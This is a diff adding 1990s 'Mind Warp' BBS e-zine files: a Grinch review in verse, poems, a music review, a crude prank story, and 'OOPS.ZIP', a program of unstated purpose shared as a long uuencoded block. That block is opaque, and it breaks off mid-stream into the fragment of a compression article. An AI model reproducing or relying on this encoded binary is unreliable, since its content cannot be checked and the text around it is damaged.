Grinch + +'Tis two weeks before Christmas and most parents wonder +If their choice of presents is truly a blunder. +But there is a sure winner for kids around six. +Great story, great artwork, a beautiful mix. +Go to the bookstore, and take no excuse. +Get How the Grinch Stole Christmas, by our friend Dr. Seuss. + +It's a story for Christmas, it's all about giving, +And thievery, who-vile, roast beast, and living. +But the theme most important, the best of them all +Is the growth of a heart that's two sizes too small. +The devilish Grinch couldn't stand Christmas season, +And it seems most apparent that this is the reason +That one night he rode from his hilltop hut down +And stole from the whos almost half of their town. +The plot is important, so I won't reveal +What finally happened to all he did steal. + +I will tell you this: if you pick up the book +The drawings deserve a significant look. +They are drawn in three colors: red, white, and black. +Let me tell you, my friend, there is nothing they lack. +The drawings in Grinch, the weirdest you'll find +All seem to come from a young child's mind. +Dr. Seuss must be old, maybe even a parent, +But just from his artwork this is not apparent. +The pictures are playful and wonderfully done +The creatures! The features! They're nothing but fun! + +So parents, I'll tell you, as one who's been there +And as who's well known as perfectly fair +Just go buy this book, run off, get it hurry +And on Christmas day there'll be no need to worry. +This is one book that is worth every cent. +It will be the best Christmas cash you ever have spent. + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-056.txt b/textfiles.com/magazines/MINDWARP/mw-056.txt new file mode 100644 index 00000000..8737b9ba --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-056.txt @@ -0,0 +1,98 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #01, File #056 ] + [ "Sheep & Wool" by Pride ] + +------------------------------------------------------------------------------ + Sheep & Wool + [Pride] +------------------------------------------------------------------------------ + +"Sheep" + +oh, sheep, +walking through the green pasture, +where is your goddess? +is she lying on the floor? +does she fly overhead? +is she playing chess? + +oh sheep: +walking through the green pasture, +and not a care in the world...except lunch. +you never question, do you? +the grass will always be there, +right? +and you'll live your simple life, +and the most joy you'll ever feel...is when you eat lunch. + +o, sheep, +walking through the green pasture; +sheared or slaughtered, you'll still be you: +a sheep. +always a sheep +searching for a goddess + +PRiDE +------------------------------------------------------------------------------ + +"Wool" + + +wool + +itches my skin +no choice +but one + +the wool has me +enclosed like in a womb +the wool owns me +we are one and the same + +wool + +warm at night +hot during the day + +wool + +must stop +must stop +NO + +wool + +can't take it +heat intolerable +no choice +but one + +wool + +set on fire +charred ashes +now i am + no + longer + + + + +PRiDE + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-057.txt b/textfiles.com/magazines/MINDWARP/mw-057.txt new file mode 100644 index 00000000..7d28a4f6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-057.txt @@ -0,0 +1,126 @@ + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #02, File #057 ] + [ "Poems for Alyson" by Dark Horse ] + +------------------------------------------------------------------------------ + Poems for Alyson + [Dark Horse] +------------------------------------------------------------------------------ + +Midnight Blues +4th chorus(?) + +alone +tired +aimless +but somehow happy + +the beach looms +like a sunrise +dead ahead +monday night +i will lay my head on the sand +in alyson: +not a girlfriend +not yet a friend +but at least an outlet +with substance +not like you: +the anonymous reader + +in my mind's I: +a calm +peacefull knowing +that things will happen +someday + +in burroughs: +a teacher +a direction for life +knowledge, free from +the 13 channels of shit +on the TV to choose from + to choose from + to choose from + +knowing +i cant end in allusion +and that the show is over +i look forward +to sand between my toes + +-dark horse 7/17/94 + +[ Editors Note : When Dark Horse submitted this, he also included a short + description of *why* he wrote these. It follows, in uncut format. } + +that's something from last summer. I've been searching my HD for something I +wrote on another bbs and I'm pretty sure I logged, but I can't find it. I've +been finding all this stuff I just wrote and stuck away (I'll keep looking +too.) I have another poem that I wrote to the alyson in the 3rd stanza of +this poem. we corresponded for a while thorugh e-mail, she was in a torrid +love affair, it sounded intense and true (as in true forever love that is) and +one day as the situation got more and more intense (her b-friend running away +from home, them talking about just running away together, .....)she stopped +writing. +i guess she did finally run away with him or something. who knows, anyway +it's a great thing to wonder about. anyway, I might as well get on to than +next poem. if this works, here it is: + +Improv poetry on a dirty sunday night -- fall '94 + +Open those wings and fly through my mind +with you inbetween them +You +a traveler +and I am but another wasted land +a desert of a million thoughts +dry and dusty as saharan sand +but pick up a grain of thought +after you land your satin feet in my head and fold your velvet wings to your + side +That grain, up close, is a little yellow diamond. +worthless but beautifull +and nothing compared to the rest. +You sit and stare awhile + at the sand + remembering days at the beach with sand between your toes and love +in your eyes. + +I may never see your eyes + or touch your soft brown hair + or hold your hand + but I know you better now + and forever +than all those who see you in the halls + and most who have brushed your soft brown hair + and some who hold your hand. + +So fly on, +through a million minds and a million wasted lands +but always remember +you have my sand between your toes + +---- +and I guess to finish the story she did fly on, and I'll run into her +sometime and we'll both be shocked and talk for hours and she'll introduce +me too her true love of twenty years whom she ran away with. or something. +but there are two poems. I may write more tonight. who knows. + + +-dark.horse + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-058.txt b/textfiles.com/magazines/MINDWARP/mw-058.txt new file mode 100644 index 00000000..5dfc415f --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-058.txt @@ -0,0 +1,170 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #03, File #058 ] + [ "Music Review: #7" by Mustaine ] + +------------------------------------------------------------------------------ + Music Review: #7 + [mustaine] +------------------------------------------------------------------------------ + + Mustaine's Music Scale + (revised 05/01/95) + + 0) Sucks!!! 6) Gettin' there... + 1) Bites!!! 7) Kewl..sorta + 2) Eww!!! 8) Yo! I can dig this stuff! + 3) Crap!!! 9) Woo! Play some more... + 4) Blah, Blah... 10) Incredibly Spiffy! + 5) Not half bad, but crap.. 11) Has to be by Dream Theater? + + + I have decided to break down and give you my opinion on Double-CD +packages. Before I actually comment on the music, let me first whine about +the packages these wonderfull Double-CD "deals" come in. When you go into +the store looking for your music, the idea of getting two CD's for the +price of 1 and a half sounds pretty sweet. Indeed, when you go further +to look for a favorite artist, 30+ songs jammed onto two CD's looks GREAT! +HOWEVER, when you actually buy the Double-CD package, you learn just exactly +what a REAL pain in the ass it is. What you have purchased is a bulky +nightmare, that is almost guarenteed not to fit in ANY conventional CD +holder. Yes folks, I am talking about those 1 and a quater inch nightmare +packages!!! What's my point? I think they suck. Just give me two CD cases, +and shrink rap some plastic around them. Then they will fit in my CD case +holder. On to the reviews. + Since I am on the Double-CD binge, I have decided to review two of the +more "recent" Double-CD packages that I have purchased. One is the Pat +Benatar Double-CD, and the other is last year's Woodstock '94 Double-CD. +Enjoy...and BY THE WAY!!! If you have some music that you would like +reviewed, and you A) think I can afford it, or B) can send me a dub tape, +please get in touch with me at mustaine@wam.umd.edu and arrange for me to +hear the stuff. I would love to review stuff that I don't normally listen +to. + ----------------------------------------------------------------------- + +Band #1 +Name : Pat Benatar +Album : All Fired Up (The Very Best Of Pat Benatar) +Info. : Aside from the bulky packaging, this compilation of Pat Benatar's + greats really doesn't pack much of a punch. Sure, you get the + songs you love from "Best Shots", but aside from that, the album + pretty much says nothing. N-E-Ways, if you are an _avid_ fan of + Pat Benatar, I would adivse checking this album out. It pretty + much covers most of her songs. I did notice however, that is + does NOT feature the song she recorded for "The Secret of My + Success" soundtrack; that being "Sometimes The Good Guys Finish + First." Oh well, eh? + + Disc #1 + + 1) I Need A Lover (7) + 2) If You Think You Know How To Love Me (6) + 3) Heartbreaker (7) + 4) We Live For Love (8) + 5) You Better Run (7) + 6) Hit Me With Your Best Shot (10) + 7) Treat Me Right (9) + 8) Hell is for Children (8) + 9) Fire And Ice (10) + 10) Promises In The Dark (10) + 11) Shadows Of The Night (10) + 12) Little Too Late (7) + 13) Looking For A Stranger (8) + 14) Anxiety (Get Nervous) (9) + 15) Love Is A Battlefield (10) + 16) Lipstick Lies (6) + + Disc #2 + + 1) We Belong (10) + 2) Ooh Ooh Song (7) + 3) Temporary Heros (8) + 4) Invincible (10) *Cool Song* + 5) Sex As A Weapon (7) *Spiff Title* + 6) Le Bel Age (6) + 7) All Fired Up (9) + 8) Don't Walk Away (9) + 9) Let's Stay Together (8) + 10) One Love (6) + 11) True Love (7) + 12) Payin' The Cost To Be The Boss (9) + 13) So Long (9) + 14) Everybody Lay Down (8) + 15) Somebody's Baby (6) + 16) Crazy (6) + 17) Every Time I Fall Back (7) + + +Band #2 +Name : Various +Album : Woodstock '94 +Info. : NOOOOOOOOOOOOOOOOOOO! NO NO NO! NOOOOOOOOOOOO! DO NOT, UNDER + ANY CIRCUMSTANCES, BUY THIS CD. IT SUCKS. + At any rate, please, please, I warn you now...this CD is the + absolute worst thing I have ever heard. How they could butcher + songs and put them (live) on CD I will never know. Especially + since all the recording SUCKED. Awesome bands, recorded lousy. + It has to be a MTV function, no? ALL of these songs recieve + a 5. + + Disc #1 + + 1) Selling the Drama (Live) + 2) But Anyway (Blues Traveler) + 3) I'm The Only One (Melissa Etheridge) + 4) Fellin' ALright (Joe Coker) + 6) Dreams (Cranberries) + 7) Soup (Blind Melon) + 8) When I Come Around (Green Day) + 9) Shoop (Salt-N-Pepa) + 11) Blood Sugar Sex Magik (Red Hot Chili Peppers) + 12) Porno For Pyros (Porno For Pyros) + 13) Those Damn Blue Collar Tweekers (Primus) + 14) Headed For Destruction (Jackyl) + 15) Draw The Line / F.I.N.E (Aerosmith) + (why does this CRAP band get two songs???) + 17) Happiness In Slavery (Nine Inch Nails) + + Disc #2 + + 1) For Whom The Bell Tolls (Metallica) + 2) The Hunter (Paul Rogers + Various) + 3) Come Together (Neville Brothers) + 4) Run, Baby, Run (Sheryl Crow) + 5) Deja vu (Crosby, Stills & Nash) + 6) Dance, M.F., Dance! - Kiss Off (Violent Femmes) + 7) Shine (Collective Soul) + 8) Arrow (Candlebox) + 9) How I Could Just Kill A Man (Cypress Hill) + 10) Right Here Too Much (Rollins Band) + 11) Highway 61 (Bob Dylan) + 12) Pearly Queen (Traffic) + 13) Biko (Peter Gabriel) + + Now before I leave, let me reiterate that the Woodstock '94 CD +is an absolute WASTE of money. If you buy it, you do NOT have the option of +blaming me. I told you so :) + + Maybe next time I will do some Tecno Compilations....then again...maybe +NOT! Until then, see ya! - mustaine + +Greets :) +Meg Q. - i luv u Essex - Schmuck, where the HELL ARE YOU? +Raven - this vol. will be BETTER! Pornlo- Go prom boy! + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== + + diff --git a/textfiles.com/magazines/MINDWARP/mw-059.txt b/textfiles.com/magazines/MINDWARP/mw-059.txt new file mode 100644 index 00000000..9fc63cbd --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-059.txt @@ -0,0 +1,74 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #04, File #059 ] + [ "Sleazy" by Pride ] + +------------------------------------------------------------------------------ + Sleazy. + [Pride] +------------------------------------------------------------------------------ + +Sleazy + +they all forgot me +locked me in the cellar +but oh....i wanted her +she was so sweet + so innocent + so pure + so...lustful +i could have broken her like a twig + +they were jealous...that's it +they ALL were jealous of me +that's why they locked me down there +to sit...forever + +they give me water +and a little bread +but i know it's because they would not be able +to live with themselves +if i died + +i can still see their faces +as they pushed me down the stairs... + +happy was all smiles + +sleepy almost fell down with me + +sneezy was looking a little peppered + +bashful was hiding in the cookie jar + +grumpy was...well...grumpy was grumpy + +doc was just drugged out + +and dopey...well...we don't like to talk about dopey anymore... +not since...the accident... + +so, they rewrote the story, and took me out. + +that...was seven years ago...but... + +i'll be back...you'll see + + + +PRiDE + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-060.txt b/textfiles.com/magazines/MINDWARP/mw-060.txt new file mode 100644 index 00000000..bc58605b --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-060.txt @@ -0,0 +1,131 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #05, File #060 ] + [ "Adventures in the Potty" by Mustaine ] + +------------------------------------------------------------------------------ + Adventures in the Potty + [Copyright (c) 1994-1995 Mustaine] +------------------------------------------------------------------------------ + + Imagine poor Joe Schmoe. Joe is a high school graduate, going through +that famed summer before college starts. He is a normal Schmoe, working all +day to get money for college, massively in love with his girlfriend, and +very tired after teaching summer camp all day. Anyways, around sometime in +July, in the year 1994, Joe Schmoe has an unprecedented...adventure in the +potty! Want details? Read on. + So like Joe gets home after 4:00. Joe is midly fatigued, slightly +irritated, and if Joe was a female...we could have said PMS had set in. +Work was hell, little snots were pulling at him all day from the summer +camp where he worked, and all he wanted to do was go home, go to the potty, +and get a nap before calling his esteemed girlfriend in hopes of a date +later that evening. + Does Joe get his wish? Yeah right...and life is simple. Anyways, Joe +gets home, as previously stated, and runs upstairs to the bathroom. No +problem there right? Are you following me? Ok, so Joe gets +to the bathroom and takes off his drawers. Why? He then proceeds to sit down. On a wet seat. +Ewwwwww. Ok, so someone forgot to wipe the seat off. Natural occurence in +a family of three men, two women. Pee on the legs. Joe massively freaks +out and jumps up taking wads of toilet paper to wash of the "affected" area. +Joe then wipes off the seat. Whew. + So poor Joe sits down, on a now dry seat to drop his...uh..well you +know. Anyways, little brother of Joe...the imbecilic one..has decided to +play a horrible prank on the next user of the commode. Unbeknowenst to Joe, +but knowenst to brother of Joe, clear plastic Saran wrap has been stretched +tightly across the seat in between the water part, and the seat part. +So Joe dumps...and it goes...NOWHERE. Ewwwwww. + Ok, so Joe's doo doo goes nowhere. Once again Joe jumps up, half in the +middle of trying to doo doo, and takes wads of paper breaking the wrap, and +dropping some doo doo. Joy. Joe then sits back down, after screaming +profanity and promises of castration the the offender..and proceeds his..uh +doo-doo'in. Yeah, that sounds good. Ok, so Joe is done with the doo doo. +Simple right? WRONG. + Joe reaches for toilet paper. Of course, Joe is out of toilet paper +after using it all on his little sibling's malicious pranks. Crap. Joe +now rises, with drawers around his ankles, and opens the door to leave and +find some toilet paper in the closet in the next room. Enter Kitty. +Kitty has an affection for Joe's...uh...third...dangling...leg. Proceed with +running around the small room with Kitty playing tug of war. Joe then has +an unfortunate accident, tripping over his drawers (which are still down to +his ankles) and falling on Kitty..who is still attached to Joe. Ouch. + Let's take a break for a few seconds while Joe finds a bandaid. As for +Kitty, let's just say that cats are only rumored to have 9 lives. Joe then +limps his way to a closet, searching frantically for toilet paper. Finding +some on the top shelf, Joe makes an attempt to grab himself some wipes. +However, as Joe tugs the package of toilet paper, soap falls down from on +top of the package and hits him on the head. And I don't mean the head that +has his brians. + Let me take a moment to explain. Brother of Schmoe....who was in charge +of putting away the toiletry and hygene products on grocery day, decided to +throw the soap up to the top shelf in futile hope that Mother of Schmoe +wouldn't make him use it in his monthly bath. Of course, we know what +ultimately happened to the soap, but to this day, brother of Schmoe has been +emotionaly disturbed after finding that his soap was missing. Convinced of +some extraterrestial plot to steal soap, brother of Schmoe has since ran +away to a monestary in Tibet. Back to Joe... + Joe has since found his toilet paper, and has now returned to the +toilet. Joe is now able to cleanse himself, and proceeds to wad up more +paper and throw it into the toilet. Now the ritualistic flush is to occur. +Well, maybe not. You see, Joe has overlooked the tiny fact that a toilet +has problems flushing when there is fifteen pounds of paper and waste in the +recepticle. Hence comes an overflow of...stuff?? Joe looks around hastily +for his trusty plunger. But it's not there. Instead, a note is found where +the plunger is usually held, reading: + + To Whom it May Concern, + I Brother of Schmoe do regretfully confess that the plunger who + usually finds its home and steady employment of sewage suckage has + taken a leave of absence to help me with my science project at + day camp. It will be returned in a few days. Problems, comments??? + Send all complaints to my camp counselor who made me clean up the mess + I made with my cherry bomb...er...uh science experiment. + Yours truely, + Brother of Schmoe. + + Poor Joe...no plunger. Oh well. Joe now runs frantically about the +room looking for something to unclog the toilet. Unfortuantely, all he can +find is an old bag of Doritos and some tweezers. That had to do seeing how +the stuff was now creating a steady stream down the hall. Using a flash of +ingenuity, Joe places his hand in the Dorito bag, and uses the tweezers to +unclog the toilet. Joe has saved the day. + Whew...it's all over right? WRONG. Joe now yanks up his pants, and +hastily zippers his zipper. Ewww. Poor Joe...as if he hadn't gotten stuck +with enough problems today. Now he had a stuck problem...in his zipper. + Needless to say, that took a minute or +two to get out of. Now, the story should end here...and indeed it does, in +terms of Joe's adventure to the potty. However, later that evening Joe +had another...brief adventure that simply must be told. Read on for more. + Ok, so skip ahead a few hours. Joe Schmoe is now in the kitchen, +quietly recovering from his most recent...adventures. He has made plans +with his girlfriend for a late dinner, and is trying in vain to relax for +the evening. On the table of the kitchen is an array of doughnuts that poor +Joe assumes have been made by his mother for family consumption. Wrong. +Unbeknownst to Joe, but knowesnt to us, these doughnuts are a special +experiment by brother of Joe for his ederly grandmother. Brother of Joe +had taken a popular chocolate laxative, and microwave melted a chocolate +shell over some homemade doughnuts. Needles to say, our poor shmuck Joe +eats one of the doughnuts...and runs up to the family bathroom. + What happened next irrevicably changed Joe's life forever...but that +as we say..is another story...and another adventure...in the POTTY. Maybe +someday Joe will publish the story...but until then..I think we can wait. + + THE END....or is it?? + + *** Next issue...Scuba Diving in the Bathroom 101: Joe's Revenge *** + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-061.txt b/textfiles.com/magazines/MINDWARP/mw-061.txt new file mode 100644 index 00000000..e5109337 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-061.txt @@ -0,0 +1,137 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #06, File #061 ] + [ "OOPS.ZIP" by Mustaine ] + +------------------------------------------------------------------------------ + OOPS.ZIP + [Copyright (c) 1994-1995 Mustaine] +------------------------------------------------------------------------------ + + Welpers, we haven't really had any cool programs featured in the zine +excepting the STUPIDRV.EXE program I did a wee but ago, and the Stereograms +thing Raven dug up off the net. So, I decided to share a program that +Raven originally left on my computer one day. I found it, loved it, +documented it, and UUENCODED it. Have phun. + + +This is OOPS.ZIP : +------------------------------------------------------------------------------ +section 1 of 1 of file oops.zip < uuencode 95 (v37) by R.E.M. > + +begin 644 oops.zip +M4$L#!!0``@`(`$"/.QT@#"UX5P$``'L%```(````3T]04RY$3T/%DTUKXS`0 +MAN\+_0-[FEM3:)10"DMR2_-!3W%HLE!ZFTCC6-36!'W$[;]?65F']E8:D\Y) +M!O/HG>>U^QW.U:\^+'1)2ZP(QI!EJ[6895/XUB3:##VEIS$,1X.[/X/1_1FT +M2?`%VT3[:UX-UP;.H'4V+6U3:`=H9:$/!*[@4"J0;#QJ`[X@R+DLN=9F!WF4 +M[,:7S';JLI=2-@%NSJ3-G^?0:TZW:;N#ML$!O9$,'K=?P7^BK2;K(PW6'*PD +MF+(BB.8VP6X95N@DEK!@6Z&_N9RWB7D'CNO98V>Q7H)EMH$]6@^8LF=J8SG;Z=\^Z]Y]YS[CGGGGN^M^4U +M!T`'&4B_PQ]'80=^"0`+D5*0+$AKD7Z-U(GT!Z1^I##2^T@?(DTB)4`ZY""M +M0BJFTH$"#RR@/)#*>.`"ZX$II!B24>.!^Q_GEF3YIOT,H5.'9Y +M7=E3` +M`+<5X'C,Z`3OC5IMUHZZFNKM51=;`7UH34:'T+CE@=8P[9E;.< +M8*QL5>.D#@`4=*>R-1/'RP/.UCQL:U$L@[K?XPKYAK1.[U\9SFX)]+_.S;[1 +M]497[3"G\HWGMG'JW))P=M9=5GL1'`OP<@8->2/2.LZ_/)Q=.TS?'S\T#6,2 +MWZ0VB`/R*)QY"*>U`5FU(7\*>5]CTPIZ&^/A +M%`9(!9"WP:\KC)'W-%)_SJ&.%Z&C#LR!CFKH:(".O5#:407'N+7J#KRTB+F9D9JQG%)$_#%'!E&K$KW/=&;QH.`R4`E0/<&2IQC_O +ME(DLT031Z"R-\][:=$U5-^C'W+J3F3:FB>ZFI"^D]Z/#?A"CF1[:3W4^"]Z, +M%^"(83L>6@U0YD#G3N0\!T&G,9YKHKT*0-`,<'N!RJJZ*-KW`KBIH#H&/Q7. +M$#@_A#,B7_KJR"+&5T8R&6)@IKQ1^4.+O)XEBV/DY5A;/$QX+,B4*O46J4EG +MD39Q%FD_:QUM>L3ZKZ;%T>%7LJ(77ED0/6\UO`!-:=&P-7\/-"5Z,]`![)A)\AH([&P,LZ3)4R(S&?N30Y+ZM0"-J10V@BC4)R3?$-7 +MJ5,2RDDW54GK33==&""WF5#<)#2EB8T.TZC,]9`5YYL>B%Z@+?7@2K!:=D$3 +M0_KH81;('VFI+Y?;"=%`B/R>E@9RN7JUK^I8S[YS2V!S4I)$D:^#`SKN6X?7 +MLSG:;G;L8Y7_D[M\M3\3$@UUH`O-14=5(F]BKZ6IR6".8=:T[P;S&-'`Q&T4 +M6$9!\Q5P:=24F@ZJ:W>PRM]6],Z#XDN-\V>FY\P;ET2<[W>]Z?K95+P +M^AII\/H:%)VLSYF]7A\2[0UXDMY1G>VLR6\OG>\H4MY49S +M0)7#.XRWG)-FMX_L/)IFOQNTRD&=C/138=,(*6YI08&.%M4_9%@B/ +MV"AAL8T35MGF"^MLR<(FF\EUL?B*$.*/4&7D32C^R!.0IR/O)5X5%)^.'`:? +MB?P0L'<0OC_QC\AOBC\2VGB)0JFWR%XHF_@L\C/17HU)+JD*(GKR-/"#5+*^ +MK`P-,P=XKT/'>VOUM7$G+?V'6%XNU_&/E>NN/:P:*]IK,*Z)O*0A"V']Q$R$ +M(<>!?#!K#J!`_.5+)C3X]%C',15=4(67/!>=6H:VFVUZ8:4_03+60:'JZV:R +MBZJ)]JDIZ#%)F(Z1A_P&LHF*I%EQ("1'AR,)<39#=$"6@1;K<#`ZH":I)S-Z +MX9G-F.[_<4/2J9KJH)\IC$WI*3^-#4,9CQG7XJ03LN0K\@S:C?9DHSU+55O0 +MIM7K[QI@(_N`M,?B^RTESP%JUQI(']141Q:2+1"W*`TM2B'K@+P:BVB)'=3% +MZ^49^9OKD(3EC%_@,-R,@G5N#[PV^%+5_=LW- +MK&#QC+#KFGRC7=(&\C]FC3H9B^1EC&FKU,/G4G`<"QT&J`S +M$SH70F<.EO@BX-MIZ#3!()<+'T"+82G6?/HOJ^F>-/CI;/X)%;^\BUH<=/,@ +M._&96NV3L%1CM>]-HY3%:GL5E!RU92GE"14%%,0BI]&I[*(-3@-YFC:0(5I! +M,/J.9T5>#QTR!XYO%S]-V?*KX]7B)[?$;VX)AE+QXJV[8X$J[=@(04P\&NXT +M]W-5S9]F_6#P%R#.KFYDSL1BE?ZMX6SYAOAT!E6UO;JF;D=MEO:B,@*X%(OE +M$%1OCV@1+\WGS5?CD;G360CRV<2@4-*>"HD!X7&$V[G>@KQ@TT,SETL@M3&U +M-Q5F)IBS+BU?S.G`Q?'MZ1`9E8=:@GG&(FB.I'H-*\!KM$"_,1]:`J@N#9$F +M'SH+H-,&RC[*X.2VA.(A,)#<.;\-))O^SY@N,9Y[$".EAO16^PI(Y"P@/'9Z +M(TURH;T02"&21.MNL2_,9R=+VGU`8$C15`6 +MF0YV[\:9;CU>T`A;.'G[<[;`B1JJI/Z@4^HG%%0YL703PD!53@I;8+.Z:%8K +MC?BY<'80Z`79BW-6K+2L*EIM+;:5V)]P;W;O$QI>?M[TO,NUWV4"4[U@@OQD +M/3CWNX2&_?L:367[#[SJ:MCSHF!Z=-=CIN6KB\Q+5Q>:UNQWO52_;[CRCA,K8EJ@'8EY_4W)LQ<+N:LX,+989C*C?::Q]0"W7](9SG7Q&)MZE)\ +MXUV*"%W8[>HZZA"Z6I#W%MNE>%1>CP&FNWHV0>*8.^&$=>KO'([K>D^,1IO?4 +M^+V*[Z!+$"+FE9P<%Y)+?.-"ZB!Z_P)$CA.WFNDJOD +M8P]C*C.8A#NTP;D0L?RYBB2L\5CG%_F?"&>[4M7MT9A!!W[ZJYB%/3U`Y.9] +MZ\WG^<.("BA1BA+:O+,"HSS_+3#^UT7T'`#>PY1%S7=8#^>WS\U\AZCF\]YD +M!4KF_$OVT3$-=D^-"[3?)AXL`"'A:$4!RM1X-4HBV^N)W]RYQ8_+BQ18&\Z^ +MW2JG2"-K#F!2#2,]L=A=+:HZ-0Q!4H.>RL.6F3VL?':N9N":_\)KSZK^&2 +M$'[Y;_HXUFX'V5B*CN?/\&GUN#GU1AT +MVA&L2B&H^9%_*99OP]PPI/Z+T?8H=-[%T2ES8':Z*PC_XXG%X/]Y4DL!VC"= +M\>\1#?\&4$L#!!0``@`(`*5N7!XAY\1?<0(``!H&```(````3T]04RY005/% +ME$UO&C$0AN](_(?WP`&:#5U04S605$55TT2H#2HTER@'LSL;7%A[97M#*]-HMIEW(#2F1$OPSPO7U;-Z?3>9X +MX5/1)KE;:5.MC9#FU@FI"+=2)1O*U1]Q]P+:S.A[(U(L=ADQ;6'T+Z'P%HOY +M#]Q(D]L7>7O=NBU6TH*_`C85FPVRRFO7%2Y[<"OA8"-#6XL\XRD5,U)]X$I) +M)UFUJVG2(=9DH;2#$VL"YRG3E&(I'(&2A"(78*6W]$`&PB+5AK"FG>5P:Q8* +M0T^9DG)D*/;4)=U+9>%TB2U)I5JHN'AA/Y.$!87%1!KK,`S#)]I3E,`3MY*S +M/81I%5$`T2`4_788G)X>VF-=12OD15F*JFQE1,A8V1P."F-6,S<`N8CM?7G@ +MC/*B7K6!BM:`O&,G4P[U#-;_7S>DW=IWOJ'S(0P#_N"1@^PQG&+N1+0.\%WC +MDD2&QW8KMVPZ,MS>6-MQN_4@3+L%3)?QE7(W%&'D?P<1Q;FAL=^)=*[<("B& +M8;#4R]%RY_S6OG-QQ,"L/HTI[9)0_D*8/'-\JK@1GB,3S+1QMYWWX1W. +MO%??/H5$&WCJ^_,2(*7TMK/DM$:&VZ33[KLP#'MWH_-J.CPYZ8TK +M>BD]*UK#8+_:!*_3&)V7X]%@7"[7NL%'UAU7T6OY,T#%KPC#AM"0PVJ!5%R\ +MU:-4&_^?U.VE6[>R5^U.BK!OVRL#]=NLO4$L!`A0` +M%``"``@`0(\['2`,+7A7`0``>P4```@``````````0`@`````````$]/4%,N +M1$]#4$L!`A0`%``"``@`;XX['<;-F"0X"P``<`X```@````````````@```` +M?0$``$]/4%,N15A%4$L!`A0`%``"``@`I6Y<'B'GQ%]Q`@``&@8```@````` +M`````0`@````VPP``$]/4%,N4$%34$L%!@`````#``,`H@```'(/``!\`"U- +M:6YD(%=AAnonymous< ] + +------------------------------------------------------------------------------ + Compression Utilities + [Anonymous] +------------------------------------------------------------------------------ + + Compression Comparisons between .ZIP, .ARJ, and .LZH using + references from a compressed file(.TXT, .EXE, .GIF.) + +(* WARNING : THIS FILE CONTAINS NO HUMOR, SICKO STORIES, OR INTERESTING + MATERIAL. IT IS MERELY A FACTUAL ARTICLE ON COMPRESSION. + MIND WARP HAS HAD NO FACTUAL ARTICLES, SO I WROTE THIS ONE. + READ IT. *) + + + + There are many different compression utilites available for +use in the pc world to shrink the average filesize for more room on the +host compters hard drive. Some of the most common for the DOS operating +system include PkZip, Arj, and Lharc. These utilites have obvious advatages +for the user. Creating more disk space, packaging many files into a small +mobile file that can be extracted elswhere, and the ease of moving such files +are certainly transparent. However, these compression utilites all use +a different algorythm for their storage capabilites, and as data suggests, +these different algorythm's are not all suitable for compressing all types +of files with the best compression ratio. Indeed, in some instances, the +compression utility can actually increase the size of the file. + The procedure below outlines the use of three compression utilites, +PkZip, Arj, and Lharc, and their induvidal results in the compression of +three types of files, ascii text files (.TXT), executables (.EXE), and +graphics (.GIF) files. As the data suggests, different compression utilites +can be more effective on certain files than others. + +Procedure + + Three files were randomly selected off of a hard drive contributed + by a willing pc user. These files were as follows: + + 